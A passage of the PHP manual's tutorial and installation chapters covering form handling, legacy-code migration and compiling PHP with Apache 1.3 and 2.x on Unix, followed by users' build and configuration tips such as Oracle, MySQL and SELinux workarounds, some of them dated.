It might be wise, to let the server handle whatever there is to handle, and then redirect (a redirect is not visible in the history and thus not reachable via reload or "back".

It cannot be used in this exact example, but as Seth also mentions, this example should be using GET instead of POST
yasman at phplatvia dot lv 05-May-2005 12:18
[Editor's Note: Since "." is not legal variable name PHP will translate the dot to underscore, i.e. "name.x" will become "name_x"]

Be careful, when using and processing forms which contains
<input type="image">
tag. Do not use in your scripts this elements attributes `name` and `value`, because MSIE and Opera do not send them to server.
Both are sending `name.x` and `name.y` coordiante variables to a server, so better use them.
sethg at ropine dot com 01-Dec-2003 12:55
According to the HTTP specification, you should use the POST method when you're using the form to change the state of something on the server end. For example, if a page has a form to allow users to add their own comments, like this page here, the form should use POST. If you click "Reload" or "Refresh" on a page that you reached through a POST, it's almost always an error -- you shouldn't be posting the same comment twice -- which is why these pages aren't bookmarked or cached.

You should use the GET method when your form is, well, getting something off the server and not actually changing anything.  For example, the form for a search engine should use GET, since searching a Web site should not be changing anything that the client might care about, and bookmarking or caching the results of a search-engine query is just as useful as bookmarking or caching a static HTML page.
Something Useful
Using old code with new versions of PHP
A simple tutorial


Using old code with new versions of PHP

Now that PHP has grown to be a popular scripting language, there are a lot of public repositories and libraries containing code you can reuse. The PHP developers have largely tried to preserve backwards compatibility, so a script written for an older version will run (ideally) without changes in a newer version of PHP. In practice, some changes will usually be needed.

Two of the most important recent changes that affect old code are:

  • The deprecation of the old $HTTP_*_VARS arrays (which need to be indicated as global when used inside a function or method). The following superglobal arrays were introduced in PHP » 4.1.0. They are: $_GET, $_POST, $_COOKIE, $_SERVER, $_FILES, $_ENV, $_REQUEST, and $_SESSION. The older $HTTP_*_VARS arrays, such as $HTTP_POST_VARS, also exist. As of PHP 5.0.0, the long PHP predefined variable arrays may be disabled with the register_long_arrays directive.
  • External variables are no longer registered in the global scope by default. In other words, as of PHP » 4.2.0 the PHP directive register_globals is off by default in php.ini. The preferred method of accessing these values is via the superglobal arrays mentioned above. Older scripts, books, and tutorials may rely on this directive being on. If it were on, for example, one could use $id from the URL http://www.example.com/foo.php?id=42. Whether on or off, $_GET['id'] is available.
For more details on these changes, see the section on predefined variables and links therein.

User Contributed Notes

There are no user contributed notes for this page.
Dealing with Forms
What's next?
A simple tutorial


What's next?

With your new knowledge you should be able to understand most of the manual and also the various example scripts available in the example archives. You can also find other examples on the php.net websites in the links section: » http://www.php.net/links.php.

To view various slide presentations that show more of what PHP can do, see the PHP Conference Material Site: » http://talks.php.net/

User Contributed Notes

There are no user contributed notes for this page.
Using old code with new versions of PHP
Installation and Configuration
A simple tutorial


Installation and Configuration

  • General Installation Considerations
  • Installation on Unix systems
    • Apache 1.3.x on Unix systems
    • Apache 2.x on Unix systems
    • Lighttpd 1.4 on Unix systems
    • Sun, iPlanet and Netscape servers on Sun Solaris
    • CGI and command line setups
    • HP-UX specific installation notes
    • OpenBSD installation notes
    • Solaris specific installation tips
    • Debian GNU/Linux installation notes
  • Installation on Mac OS X
    • Using Packages
    • Using the bundled PHP
    • Compiling PHP on Mac OS X
  • Installation on Windows systems
    • Windows Installer (PHP 5.1.0 and earlier)
    • Windows Installer (PHP 5.2 and later)
    • Manual Installation Steps
    • Microsoft IIS
    • Microsoft IIS 5.1 and IIS 6.0
    • Microsoft IIS 7.0 and later
    • Apache 1.3.x on Microsoft Windows
    • Apache 2.x on Microsoft Windows
    • Sun, iPlanet and Netscape servers on Microsoft Windows
    • Sambar Server on Microsoft Windows
    • Xitami on Microsoft Windows
    • Building from source
    • Installation of extensions on Windows
    • Command Line PHP on Microsoft Windows
  • Installation on Cloud Computing platforms
    • Microsoft Azure
    • Amazon EC2
  • FastCGI Process Manager (FPM)
    • Installation
    • Configuration
  • Installation of PECL extensions
    • Introduction to PECL Installations
    • Downloading PECL extensions
    • Installing a PHP extension on Windows
    • Compiling shared PECL extensions with the pecl command
    • Compiling shared PECL extensions with phpize
    • php-config
    • Compiling PECL extensions statically into PHP
  • Problems?
    • Read the FAQ
    • Other problems
    • Bug reports
  • Runtime Configuration
    • The configuration file
    • .user.ini files
    • Where a configuration setting may be set
    • How to change configuration settings

User Contributed Notes

nullplan 29-Dec-2005 10:23
For German users there is a very great tutorial
in setting up a local test environment on windows on
www.wintotal.de/Artikel/lokaletestumgebung/lokaletestumgebung.php .
luke at 4d dot com 16-Jan-2002 01:31
4D WebSTAR V for Mac OS X supports the default CGI compile of PHP.

Note that most compile instructions for PHP on Mac OS X are specific to the Apache server.
What's next?
General Installation Considerations


General Installation Considerations

Before starting the installation, first you need to know what do you want to use PHP for. There are three main fields you can use PHP, as described in the What can PHP do? section:

  • Websites and web applications (server-side scripting)
  • Command line scripting
  • Desktop (GUI) applications

For the first and most common form, you need three things: PHP itself, a web server and a web browser. You probably already have a web browser, and depending on your operating system setup, you may also have a web server (e.g. Apache on Linux and MacOS X; IIS on Windows). You may also rent webspace at a company. This way, you don't need to set up anything on your own, only write your PHP scripts, upload it to the server you rent, and see the results in your browser.

In case of setting up the server and PHP on your own, you have two choices for the method of connecting PHP to the server. For many servers PHP has a direct module interface (also called SAPI). These servers include Apache, Microsoft Internet Information Server, Netscape and iPlanet servers. Many other servers have support for ISAPI, the Microsoft module interface (OmniHTTPd for example). If PHP has no module support for your web server, you can always use it as a CGI or FastCGI processor. This means you set up your server to use the CGI executable of PHP to process all PHP file requests on the server.

If you are also interested to use PHP for command line scripting (e.g. write scripts autogenerating some images for you offline, or processing text files depending on some arguments you pass to them), you always need the command line executable. For more information, read the section about writing command line PHP applications. In this case, you need no server and no browser.

With PHP you can also write desktop GUI applications using the PHP-GTK extension. This is a completely different approach than writing web pages, as you do not output any HTML, but manage windows and objects within them. For more information about PHP-GTK, please » visit the site dedicated to this extension. PHP-GTK is not included in the official PHP distribution.

From now on, this section deals with setting up PHP for web servers on Unix and Windows with server module interfaces and CGI executables. You will also find information on the command line executable in the following sections.

PHP source code and binary distributions for Windows can be found at » http://www.php.net/downloads.php. We recommend you to choose a » mirror nearest to you for downloading the distributions.

User Contributed Notes

There are no user contributed notes for this page.
Installation and Configuration
Installation on Unix systems
Installation and Configuration


Installation on Unix systems

Table of Contents

  • Apache 1.3.x on Unix systems
  • Apache 2.x on Unix systems
  • Lighttpd 1.4 on Unix systems
  • Sun, iPlanet and Netscape servers on Sun Solaris
  • CGI and command line setups
  • HP-UX specific installation notes
  • OpenBSD installation notes
  • Solaris specific installation tips
  • Debian GNU/Linux installation notes

This section will guide you through the general configuration and installation of PHP on Unix systems. Be sure to investigate any sections specific to your platform or web server before you begin the process.

As our manual outlines in the General Installation Considerations section, we are mainly dealing with web centric setups of PHP in this section, although we will cover setting up PHP for command line usage as well.

There are several ways to install PHP for the Unix platform, either with a compile and configure process, or through various pre-packaged methods. This documentation is mainly focused around the process of compiling and configuring PHP. Many Unix like systems have some sort of package installation system. This can assist in setting up a standard configuration, but if you need to have a different set of features (such as a secure server, or a different database driver), you may need to build PHP and/or your web server. If you are unfamiliar with building and compiling your own software, it is worth checking to see whether somebody has already built a packaged version of PHP with the features you need.

Prerequisite knowledge and software for compiling:

  • Basic Unix skills (being able to operate "make" and a C compiler)
  • An ANSI C compiler
  • A web server
  • Any module specific components (such as GD, PDF libs, etc.)

When building directly from SVN sources or after custom modifications you might also need:

  • autoconf: 2.13+ (for PHP < 5.4.0), 2.59+ (for PHP >= 5.4.0)
  • automake: 1.4+
  • libtool: 1.4.x+ (except 1.4.2)
  • re2c: Version 0.13.4 or newer
  • flex: Version 2.5.4 (for PHP <= 5.2)
  • bison: Version 1.28 (preferred), 1.35, or 1.75

The initial PHP setup and configuration process is controlled by the use of the command line options of the configure script. You could get a list of all available options along with short explanations running ./configure --help. Our manual documents the different options separately. You will find the core options in the appendix, while the different extension specific options are descibed on the reference pages.

When PHP is configured, you are ready to build the module and/or executables. The command make should take care of this. If it fails and you can't figure out why, see the Problems section.

User Contributed Notes

roman4e at gmail dot com 18-Mar-2011 06:50
Be careful when compiling on system used with apache2 worker MPM (inl. apache-itk). It will be always compiled with ZTS implicitly when you are using --with-apxs2 and no matter how --enable-maintainer-zts configure option is set
Neil Davis 08-Feb-2008 07:51
On Red Hat EL5.1 you need to install the libtool-ltdl-devel package (or the workaround below) to compile php.

symbolic link libltdl.so to libltdl.so.3.1.4 missing and the compile will fail.

Noting this because it wasn't necessary in Red Hat EL4.1 and caused confusion. I verified this on the box I'm migrating from. Since I built the box, and compiled php on it, I know I didn't need to do this before.

You can get around needing to install this devel.
Workaround:
# cd /usr/lib
# ln -s libltdl.so.3.1.4 libltdl.so

The devel rpm isn't necessary, just the link. I'll leave it at that. This is an rpm packaging convention change with ES5.

-Neil
packard_bell_nec at hotmail dot com 27-Oct-2007 04:06
If you install PHP as an Apache module, you can consider the following. Instead of adding:

application/x-httpd-php    php
application/x-httpd-php-source    phps

into Apache mime.types, you can add:

AddType application/x-httpd-php    .php
AddType application/x-httpd-php-source    .phps

into Apache httpd.conf, OR you can add:

AddHandler application/x-httpd-php    .php
AddHandler application/x-httpd-php-source    .phps

into Apache httpd.conf. The last one is the preferred way of configuration, but it does not work in previous Apache versions.
phpnet at puellae dot com 17-Oct-2007 10:19
Further down in the links it talks about using the fPIC option in the compiler to fix the SElinux error.  I messed around with it and adding --with-pic to the configure will also allow the module to load.  I have not done more testing with it but apache at least starts.  If you have already compiled you will need to do a make clean before recompiling.
phpnet at puellae dot com 17-Oct-2007 09:16
If you get an apache failing to start message with SElinux enabled.
The error in var/log/messages is:
Oct 17 10:41:49 nwn kernel: audit(1192635709.825:37936): avc:  denied  { execmod } for  pid=23189 comm="httpd" name="libphp5.so" dev=hda3 ino=4980740 scontext=user_u:system_r:unconfined_t:s0 tcontext=user_u:object_r:usr_t:s0 tclass=file

See the following page:
http://danwalsh.livejournal.com/6117.html?thread=23525

Basically do a chcon -t textrel_shlib_t libphp5.so
It does not sound like it is too dangerous.
aryeh dot friedman at gmail dot com 13-Sep-2007 04:05
For all multi-core processors (not just Sun as noted above) you need to add --enable-shared-core to the apache config
Alex at GrimMusic dot com 13-Nov-2006 12:49
I am new to linux/apache/php (coming from server 2003/IIS/Asp.Net), so i was stumped as to why php/apache could only use static content. Also, it couldn't access some documents that you created somewhere else, and then dragged into the HTML directory.

After some research, i found the problem was the SELinux context of the files. It took me forever to find the Proper command to use to change that, as all the examples on the net were out dated using old commands:
# chcon "user_u:object_r:httpd_sys_content_t" /var/www/html -Rc

This will change the SELinux context of all the documents under the /var/www/html directory (which is the web directory under Fedora), to allow the httpd process to access them, and the '-Rc' flag will make the changes Recursive, and will output it's progress for each file that it sucessfully changes.
squeegee 30-Sep-2006 09:24
It wasn't until I also added LIBS="-lirc" to the beginning of the configure line that it would configure without errors. It also compiled fine after that. So the start of my configure line looked like this:

LDFLAGS="-lirc" LIBS="-lirc" EXTRA_LIBS="-lirc" ./configure
Arjan van Bentem 12-Jul-2006 12:29
When using Red Hat Fedora, beware of Security Enhanced Linux, SELinux.

Quoted from Red Hat: "The security goal is to make sure that Apache HTTP is only reading the static Web content, and not doing anything else such as writing to the content, connecting to database sockets, reading user home directories, etc."

These limitations include, among many other things, using mkdir to create directories, using fopen to access files, using fopen or get_headers to read URLs, or using exec to run external applications that happen to use sockets (or maybe access some files, but which will run fine when executed from the command line as Unix user apache or httpd -- such as HylaFAX "faxstat" as invoked from nweb2fax recvq.php and sendq.php).

See /var/log/messages for any denials due to the SELinux policy. To disable it:

- System, Administration, Security Level and Firewall
- open the SELinux tab
- click the Transition tree
- check Disable SELinux protection for Apache HTTP
- execute /etc/init.d/httpd restart

See also http://fedora.redhat.com/docs/selinux-faq/ and http://php.net/results.php?q=selinux&p=wholesite
dpresley4 at yahoo dot com 06-Nov-2005 03:42
Hi,

PROBLEM:  ./configure PHP --with-oci8

fails with unresolved references such as __rpc_thread_destroy@GLIBC_2_2_3_...

ONE SOLUTOIN

FOR SOLVING PHP ./configure RESULTING IN  __rcp_thread_destroy@GLIBC_2_2_3_... AND
UNRESOLVED REFERENCES WITH ORACLE OCI8

KEYWORDS: PHP OCI OCI8 NET8 ./configure __rpc_thred_destroy UNRESOLVED REFERENCES

For building php-4.4.1 or later with oci8, make sure your LD_LIBARRY_PATH has at a minimum the following directories in its path for Oracle8i 8.1.5 or later, Oracle9i 9.0.2 or later, and Oracle9i Release 2: 9.2.0.4 or later, do the following:

Note:  We are not using the Oracle Instant Client here.  This assumes you have an actual Oracle Installation.

1. Set ORACLE_HOME

Example using Oracle 9i Relase 2 -- 9.2.0.5:

ORACLE_HOME=/opt/app/oracle/product/9iR2

2. Set LD_LIBRARY_PATH with:

LD_LIBRARY_PATH=$ORACLE_HOME/lib: \
    $ORACLE_HOME/rdbms/lib:\
    $LD_LIBRARY_PATH

3. On Unix / Linux, don't forget to export these environment variables:

export ORACLE_HOME LD_LIBRARY_PATH

4. Now, build PHP with the following:

./configure --with-apxs2=<path to Apache 2.0/bin/apxs> --with-oci8=$ORACLE_HOME --enable-sigchild

It should now build correctly. The key with Oracle is to ensure that you pick up the libclntX.so (client librariess) where X is the Oracle version associated with the version your using for instance, in the above example, libclnt9.so

Also note that if your using Oracle 9iAS Release 2 v9.0.2, Oracle 10g iAS Release 1 v9.0.4.1, the above steps will work because ORACLE_HOME will containe all of the libraries necessary.  Simply point ORACLE_HOME to the top level directory of these installations and set LD_LIBRARY_PATH as described above.

Hope this helps.
phptard at gmail dot com 23-Mar-2005 04:17
after a long night of wrestling with mysql4.0 under linux compiled with the intel compiler, i've gotten php5.0.3 to compile with mysql libraries for this flavor of mysql:

1: download the mysql for linux/intel compiler and install
2: download the rpm for the intel compiler libraries and install
3: configure php with LDFLAGS="-lirc -lgcc_s" and EXTRA_LIBS="-lirc -lgcc_s"

Example:

LDFLAGS="-lirc -lgcc_s" LD_LIBRARY_PATH="-L/usr/lib64" LD_PATH="-L/usr/lib64" LDPATH="-L/usr/lib64" EXTRA_LIBS="-lirc -lgcc_s" ./configure --with-apxs2=/usr/local/apache/bin/apxs --with-ssl=/usr/local/ssl --without-sqlite --with-zlib-dir=/usr --with-mysql=/usr/local/mysql

of course this is on a xeon system that has half of its modules in the /usr/lib64 directory, so on a normal system, without the other kruft, it would look something more like this:

LDFLAGS="-lirc -lgcc_s" EXTRA_LIBS="-lirc -lgcc_s" ./configure --with-apxs2=/usr/local/apache/bin/apxs --with-mysql=/usr/local/mysql

Hopefully this will save someone the 6 hour headache it caused me..
alexander justadot henry at acm dot org 22-Dec-2004 12:48
The system at my workplace has a need for apache/php with all static compilation.  In order to save time adminning our systems, I decided to make my own RPM of php/apache with mod_ssl support.  I had always installed by hand with the instructions on this page, but when buiding the RPM way, came upon the following error when apache was compiling:

===> src/modules/php4
make[4]: *** No rule to make target `all'. Stop.

Ordinarily this is because one did not do a 'make install' in php before the second apache configure, or somehow the make install failed.  But the way rpm's work, the make install must be in the %install portion of the spec file, after all makes are completed.

make install-sapi

This line will copy relevant files to the directory specified in --with-apache
thansen at terra dot com dot br 30-Dec-2003 08:36
The configure directives --with-apxs2 and --with-apxs2filter are not compatible one with other, even though the configure script will not complain about that. Each one affect the way Apache will call the php parser: If you choose the first one, you must use the traditional include:

AddType application/x-httpd-php php

at httpd.conf, to call the parser. If you use the --with-apxs2filter, the include will be:

<Files *.php>
        SetOutputFilter PHP
        SetInputFilter  PHP
</Files>

, and php will be called as a filter to .php files.

If you use both together, you will get compilation errors (duplicate symbols while linking libphp4).
aaronmorris at mindspring dot com 05-Dec-2003 12:47
If you have the libphp4.a instead of libphp4.so on AIX, you can extract the .so file from the .a file by running "ar -x libphp4.a".
doug at NOSPAM dot techie dot net 04-Feb-2003 05:16
Users compiling under some versions of Solaris/SunOS may encounter the following error.
   symbol ap_block_alarms: referenced symbol not found

To address this problem, add the following additional flag to the Apache build configure line:
   --enable-rule=SHARED_CORE

So, adding this to the original instructions, you'd configure your Apache build like so:
   ./configure --prefix=/www --enable-module=so --enable-rule=SHARED_CORE

Doug
dimaberastau at hotmail dot com 09-Jun-2001 09:33
when installing with mysql support (--with-mysql=<path/to/your/mysql>) via Apache APXS you'll probably get something like 'can't load libmysqlclient.so' when you try to start up apache. There are 2 solutions to this problem. First, (as documented in INSTALL file of the php4 distribution) you can modify /etc/ld.so.conf to contain the directory name where libmysqlclient.so is (so if your mysql is installed in /usr/local, you want to add something like /usr/local/lib/mysql into /etc/ld.so.conf), else (and particularly if you haven't got the super-user on the system) you can modify (or create if it isn't defined already) LD_LIBRARY_PATH shell variable to reflect the changes you would have otherwise made to /etc/ld.so.conf (again if mysql is /usr/local LD_LIBRARY_PATH=/usr/local/lib/mysql). Either one of these methods will get the problem sorted. Just remember to run ldconfig (so that /etc/ld.so.cache is updated) if you chose to modify /etc/ld.so.conf
marshalm at ebrd dot com 17-May-2001 10:43
HP-UX 11.X PA-RISC installation with oracle (oci8). You need to install the HP-UX patch PHSS_22514 patch (updated libdld.sl), otherwise you will get errors with dlopen() and dlclose() not found during the apache integration stage.
General Installation Considerations
Apache 1.3.x on Unix systems
Installation and Configuration


Apache 1.3.x on Unix systems

This section contains notes and hints specific to Apache installs of PHP on Unix platforms. We also have instructions and notes for Apache 2 on a separate page.

You can select arguments to add to the configure on line 10 below from the list of core configure options and from extension specific options described at the respective places in the manual. The version numbers have been omitted here, to ensure the instructions are not incorrect. You will need to replace the 'xxx' here with the correct values from your files.

Example #1 Installation Instructions (Apache Shared Module Version) for PHP

1.  gunzip apache_xxx.tar.gz
2.  tar -xvf apache_xxx.tar
3.  gunzip php-xxx.tar.gz
4.  tar -xvf php-xxx.tar
5.  cd apache_xxx
6.  ./configure --prefix=/www --enable-module=so
7.  make
8.  make install
9.  cd ../php-xxx

10. Now, configure your PHP.  This is where you customize your PHP
    with various options, like which extensions will be enabled.  Do a
    ./configure --help for a list of available options.  In our example
    we'll do a simple configure with Apache 1 and MySQL support.  Your
    path to apxs may differ from our example.

      ./configure --with-mysql --with-apxs=/www/bin/apxs

11. make
12. make install

    If you decide to change your configure options after installation,
    you only need to repeat the last three steps. You only need to
    restart apache for the new module to take effect. A recompile of
    Apache is not needed.

    Note that unless told otherwise, 'make install' will also install PEAR,
    various PHP tools such as phpize, install the PHP CLI, and more.

13. Setup your php.ini file:

      cp php.ini-development /usr/local/lib/php.ini

    You may edit your .ini file to set PHP options.  If you prefer your
    php.ini in another location, use --with-config-file-path=/some/path in
    step 10.

    If you instead choose php.ini-production, be certain to read the list
    of changes within, as they affect how PHP behaves.

14. Edit your httpd.conf to load the PHP module.  The path on the right hand
    side of the LoadModule statement must point to the path of the PHP
    module on your system.  The make install from above may have already
    added this for you, but be sure to check.

      LoadModule php5_module libexec/libphp5.so

15. And in the AddModule section of httpd.conf, somewhere under the
    ClearModuleList, add this:

      AddModule mod_php5.c

16. Tell Apache to parse certain extensions as PHP.  For example,
    let's have Apache parse the .php extension as PHP.  You could
    have any extension(s) parse as PHP by simply adding more, with
    each separated by a space.  We'll add .phtml to demonstrate.

      AddType application/x-httpd-php .php .phtml

    It's also common to setup the .phps extension to show highlighted PHP
    source, this can be done with:

      AddType application/x-httpd-php-source .phps

17. Use your normal procedure for starting the Apache server. (You must
    stop and restart the server, not just cause the server to reload by
    using a HUP or USR1 signal.)

Alternatively, to install PHP as a static object:

Example #2 Installation Instructions (Static Module Installation for Apache) for PHP

1.  gunzip -c apache_1.3.x.tar.gz | tar xf -
2.  cd apache_1.3.x
3.  ./configure
4.  cd ..

5.  gunzip -c php-5.x.y.tar.gz | tar xf -
6.  cd php-5.x.y
7.  ./configure --with-mysql --with-apache=../apache_1.3.x
8.  make
9.  make install

10. cd ../apache_1.3.x

11. ./configure --prefix=/www --activate-module=src/modules/php5/libphp5.a
    (The above line is correct! Yes, we know libphp5.a does not exist at this
    stage. It isn't supposed to. It will be created.)

12. make
    (you should now have an httpd binary which you can copy to your Apache bin dir if
    it is your first install then you need to "make install" as well)

13. cd ../php-5.x.y
14. cp php.ini-development /usr/local/lib/php.ini

15. You can edit /usr/local/lib/php.ini file to set PHP options.
    Edit your httpd.conf or srm.conf file and add:
    AddType application/x-httpd-php .php

Depending on your Apache install and Unix variant, there are many possible ways to stop and restart the server. Below are some typical lines used in restarting the server, for different apache/unix installations. You should replace /path/to/ with the path to these applications on your systems.

Example #3 Example commands for restarting Apache

1. Several Linux and SysV variants:
/etc/rc.d/init.d/httpd restart

2. Using apachectl scripts:
/path/to/apachectl stop
/path/to/apachectl start

3. httpdctl and httpsdctl (Using OpenSSL), similar to apachectl:
/path/to/httpsdctl stop
/path/to/httpsdctl start

4. Using mod_ssl, or another SSL server, you may want to manually
stop and start:
/path/to/apachectl stop
/path/to/apachectl startssl

The locations of the apachectl and http(s)dctl binaries often vary. If your system has locate or whereis or which commands, these can assist you in finding your server control programs.

Different examples of compiling PHP for apache are as follows:

./configure --with-apxs --with-pgsql

This will create a libphp5.so shared library that is loaded into Apache using a LoadModule line in Apache's httpd.conf file. The PostgreSQL support is embedded into this library.

./configure --with-apxs --with-pgsql=shared

This will create a libphp5.so shared library for Apache, but it will also create a pgsql.so shared library that is loaded into PHP either by using the extension directive in php.ini file or by loading it explicitly in a script using the dl() function.

./configure --with-apache=/path/to/apache_source --with-pgsql

This will create a libmodphp5.a library, a mod_php5.c and some accompanying files and copy this into the src/modules/php5 directory in the Apache source tree. Then you compile Apache using --activate-module=src/modules/php5/libphp5.a and the Apache build system will create libphp5.a and link it statically into the httpd binary. The PostgreSQL support is included directly into this httpd binary, so the final result here is a single httpd binary that includes all of Apache and all of PHP.

./configure --with-apache=/path/to/apache_source --with-pgsql=shared

Same as before, except instead of including PostgreSQL support directly into the final httpd you will get a pgsql.so shared library that you can load into PHP from either the php.ini file or directly using dl().

When choosing to build PHP in different ways, you should consider the advantages and drawbacks of each method. Building as a shared object will mean that you can compile apache separately, and don't have to recompile everything as you add to, or change, PHP. Building PHP into apache (static method) means that PHP will load and run faster. For more information, see the Apache » web page on DSO support.

Note:

Apache's default httpd.conf currently ships with a section that looks like this:

User nobody
Group "#-1"
Unless you change that to "Group nogroup" or something like that ("Group daemon" is also very common) PHP will not be able to open files.

Note:

Make sure you specify the installed version of apxs when using --with-apxs=/path/to/apxs . You must NOT use the apxs version that is in the apache sources but the one that is actually installed on your system.

User Contributed Notes

There are no user contributed notes for this page.
Installation on Unix systems
Apache 2.x on Unix systems
Installation on Unix systems


Apache 2.x on Unix systems

This section contains notes and hints specific to Apache 2.x installs of PHP on Unix systems.

Warning

We do not recommend using a threaded MPM in production with Apache 2. Use the prefork MPM, which is the default MPM with Apache 2.0 and 2.2. For information on why, read the related FAQ entry on using Apache2 with a threaded MPM

The » Apache Documentation is the most authoritative source of information on the Apache 2.x server. More information about installation options for Apache may be found there.

The most recent version of Apache HTTP Server may be obtained from » Apache download site, and a fitting PHP version from the above mentioned places. This quick guide covers only the basics to get started with Apache 2.x and PHP. For more information read the » Apache Documentation. The version numbers have been omitted here, to ensure the instructions are not incorrect. In the examples below, 'NN' should be replaced with the specific version of Apache being used.

There are currently two versions of Apache 2.x - there's 2.0 and 2.2. While there are various reasons for choosing each, 2.2 is the current latest version, and the one that is recommended, if that option is available to you. However, the instructions here will work for either 2.0 or 2.2.

  1. Obtain the Apache HTTP server from the location listed above, and unpack it:

    gzip -d httpd-2_x_NN.tar.gz
tar -xf httpd-2_x_NN.tar

  2. Likewise, obtain and unpack the PHP source:

    gunzip php-NN.tar.gz
tar -xf php-NN.tar

  3. Build and install Apache. Consult the Apache install documentation for more details on building Apache.

    cd httpd-2_x_NN
./configure --enable-so
make
make install

  4. Now you have Apache 2.x.NN available under /usr/local/apache2, configured with loadable module support and the standard MPM prefork. To test the installation use your normal procedure for starting the Apache server, e.g.:

    /usr/local/apache2/bin/apachectl start
    and stop the server to go on with the configuration for PHP:
    /usr/local/apache2/bin/apachectl stop

  5. Now, configure and build PHP. This is where you customize PHP with various options, like which extensions will be enabled. Run ./configure --help for a list of available options. In our example we'll do a simple configure with Apache 2 and MySQL support.

    If you built Apache from source, as described above, the below example will match your path for apxs, but if you installed Apache some other way, you'll need to adjust the path to apxs accordingly. Note that some distros may rename apxs to apxs2.

    cd ../php-NN
./configure --with-apxs2=/usr/local/apache2/bin/apxs --with-mysql
make
make install

    If you decide to change your configure options after installation, you'll need to re-run the configure, make, and make install steps. You only need to restart apache for the new module to take effect. A recompile of Apache is not needed.

    Note that unless told otherwise, 'make install' will also install PEAR, various PHP tools such as phpize, install the PHP CLI, and more.

  6. Setup your php.ini

    cp php.ini-development /usr/local/lib/php.ini

    You may edit your .ini file to set PHP options. If you prefer having php.ini in another location, use --with-config-file-path=/some/path in step 5.

    If you instead choose php.ini-production, be certain to read the list of changes within, as they affect how PHP behaves.

  7. Edit your httpd.conf to load the PHP module. The path on the right hand side of the LoadModule statement must point to the path of the PHP module on your system. The make install from above may have already added this for you, but be sure to check.

    LoadModule php5_module modules/libphp5.so

  8. Tell Apache to parse certain extensions as PHP. For example, let's have Apache parse .php files as PHP. Instead of only using the Apache AddType directive, we want to avoid potentially dangerous uploads and created files such as exploit.php.jpg from being executed as PHP. Using this example, you could have any extension(s) parse as PHP by simply adding them. We'll add .php to demonstrate.

    <FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>

    Or, if we wanted to allow .php, .php2, .php3, .php4, .php5, .php6, and .phtml files to be executed as PHP, but nothing else, we'd use this:

    <FilesMatch "\.ph(p[2-6]?|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>

    And to allow .phps files to be handled by the php source filter, and displayed as syntax-highlighted source code, use this:

    <FilesMatch "\.phps$">
    SetHandler application/x-httpd-php-source
</FilesMatch>

    mod_rewrite may be used To allow any arbitrary .php file to be displayed as syntax-highlighted source code, without having to rename or copy it to a .phps file:

    RewriteEngine On
RewriteRule (.*\.php)s$ $1 [H=application/x-httpd-php-source]

    The php source filter should not be enabled on production systems, where it may expose confidential or otherwise sensitive information embedded in source code.

  9. Use your normal procedure for starting the Apache server, e.g.:

    /usr/local/apache2/bin/apachectl start

    OR

    service httpd restart

Following the steps above you will have a running Apache2 web server with support for PHP as a SAPI module. Of course there are many more configuration options available Apache and PHP. For more information type ./configure --help in the corresponding source tree.

Apache may be built multithreaded by selecting the worker MPM, rather than the standard prefork MPM, when Apache is built. This is done by adding the following option to the argument passed to ./configure, in step 3 above:

--with-mpm=worker

This should not be undertaken without being aware of the consequences of this decision, and having at least a fair understanding of the implications. The Apache documentation regarding » MPM-Modules discusses MPMs in a great deal more detail.

Note:

The Apache MultiViews FAQ discusses using multiviews with PHP.

Note:

To build a multithreaded version of Apache, the target system must support threads. In this case, PHP should also be built with experimental Zend Thread Safety (ZTS). Under this configuration, not all extensions will be available. The recommended setup is to build Apache with the default prefork MPM-Module.

User Contributed Notes

svepa at milestone42 dot com 11-Oct-2011 08:35
On 64-bit Fedora systems (I'm using Fedora 14), configuring PHP to use the MySQL libraries installed as part of the distribution gives the following error if you follow the default instructions in this manual.

Cannot find libmysqlclient under /usr

Modifying he following invocation of configure as follows:

./configure --with-apxs2=/path/to/apxs --with-libdir=lib64 --with-mysql

should work.

Note the addition of --with-libdir=lib64
This points the configure script to look for 64-bit mysqlclient libraries.
nmmm at nmmm dot nu 09-Aug-2009 01:13
When I upgrade to apache 2.2, this:

AddType application/x-httpd-php .php5
AddType application/x-httpd-php .php42
AddType application/x-httpd-php .php4
AddType application/x-httpd-php .php3
AddType application/x-httpd-php .php
AddType application/x-httpd-php .phtm
AddType application/x-httpd-php .phtml
AddType application/x-httpd-php .asp

...does not worked for me, so I did this:

<FilesMatch "\.(php*|phtm|phtml|asp|aspx)$">
SetHandler application/x-httpd-php
</FilesMatch>

Another interesting point with Apache 2.2 is following.
Let suppose we installed PHP as module. But for some directory, we need to use PHP as CGI (probably because of custom configuration). This can be done using:

<FilesMatch "\.(php*|phtm|phtml|asp|aspx)$">
SetHandler none
</FilesMatch>

AddType application/x-httpd-php-custom .php
Action  application/x-httpd-php-custom  /cgi-bin/php-huge

Note type must be different than "application/x-httpd-php" and also you need to deactivate the handler on sertain extention. You can do mixed configuration:

<FilesMatch "\.(php)$">
SetHandler none
</FilesMatch>

AddType application/x-httpd-php-custom .php
Action  application/x-httpd-php-custom  /cgi-bin/php-huge

in such case files like *.php5 and so on will be parsed via module, but *.php will go to php-huge executable.
Anonymous 16-Jun-2009 10:58
Solution for fedora is yum install mysql-devel. Then set --with-mysql=/usr/include/mysql/
monguesto
peep at imtarget dot identicloak dot com 23-Apr-2009 10:09
Configuration notes for cent5.2, April 2009.
----------------------------------------------------
Note: I'll walk you through my steps, so you can do it custom yerself. It's possible that I am an idiot and there are much easier ways to do this. But this worked for me. Also , you could just use my configure script and yum command line and probably have it work okay.

Scenario
----------
I'm setting this up for a fairly typical drupal install, with a mysql backend. I set up the dev server with the php package from the cent yum repo, and the customer ran Drupal with that for a while, but now wants a more current PHP than the cent package provides.

my approach for determining required modules
------------------------------------
1. get the list of the modules
     $ php -m | grep -v -e Modules] -e ^$ > php-default-modules
2. create the configure script
     $ for i in $(cat php-default-modules); do echo -n "--with-$i ">> phpconfigure.sh ;done
3. run the configure script, and iterate through the "Configure script errors" section below until it completes properly
4. at the end of the output, look for a notice of unknown options

     Notice: Following unknown configure options were used:
     --with-date
     --with-gum-disease

     Check './configure --help' for available options

5. as suggested, execute './configure --help' and correct the options. The "for" command above indiscriminately inserts "--with-" for all modules, but bundled modules may require "--enable-" instead, so mostly you'll be changing those. For modules that are enabled by default you'll need to remove the entry.

6. Add anything else you personally want or need. I like to add "--enable-safe-mode".

I configured with the following command line:

